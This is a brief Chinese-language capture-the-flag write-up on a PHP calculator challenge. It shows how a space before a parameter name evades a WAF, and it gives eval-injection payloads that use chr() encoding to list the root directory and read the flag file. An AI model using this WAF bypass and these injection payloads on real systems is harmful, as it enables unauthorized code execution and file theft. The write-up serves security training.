看一眼源码,就是计算。但是给出了url,应该是传递给那个calc.php了吧。
访问一下calc.php
我们需要绕过黑名单给num传参,然后让eval去执行这个str
知识盲区
我们在url传参可以传各种字符,但是php解析字符时要把所有字符全部转化为有效的变量名,因此它会做两件事:1.删除空白符、2.将某些字符转换为下划线(包括空格)
比如说我们传递一个x=a ?x=a
,但是waf不允许上传一个非数值型的值。
我们就可以通过加空格的方式来绕过,? x=a
,这样waf找不到x
这个变量,因为现在只有空格 x
这个变量,但是当php解析字符串额时候,就会吧空格去掉。
用scandir(/)查看一下目录,/用ascii代替 ? num=print_r(scandir(chr(47)))
,找到f1agg文件
查看文件? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
爆出flag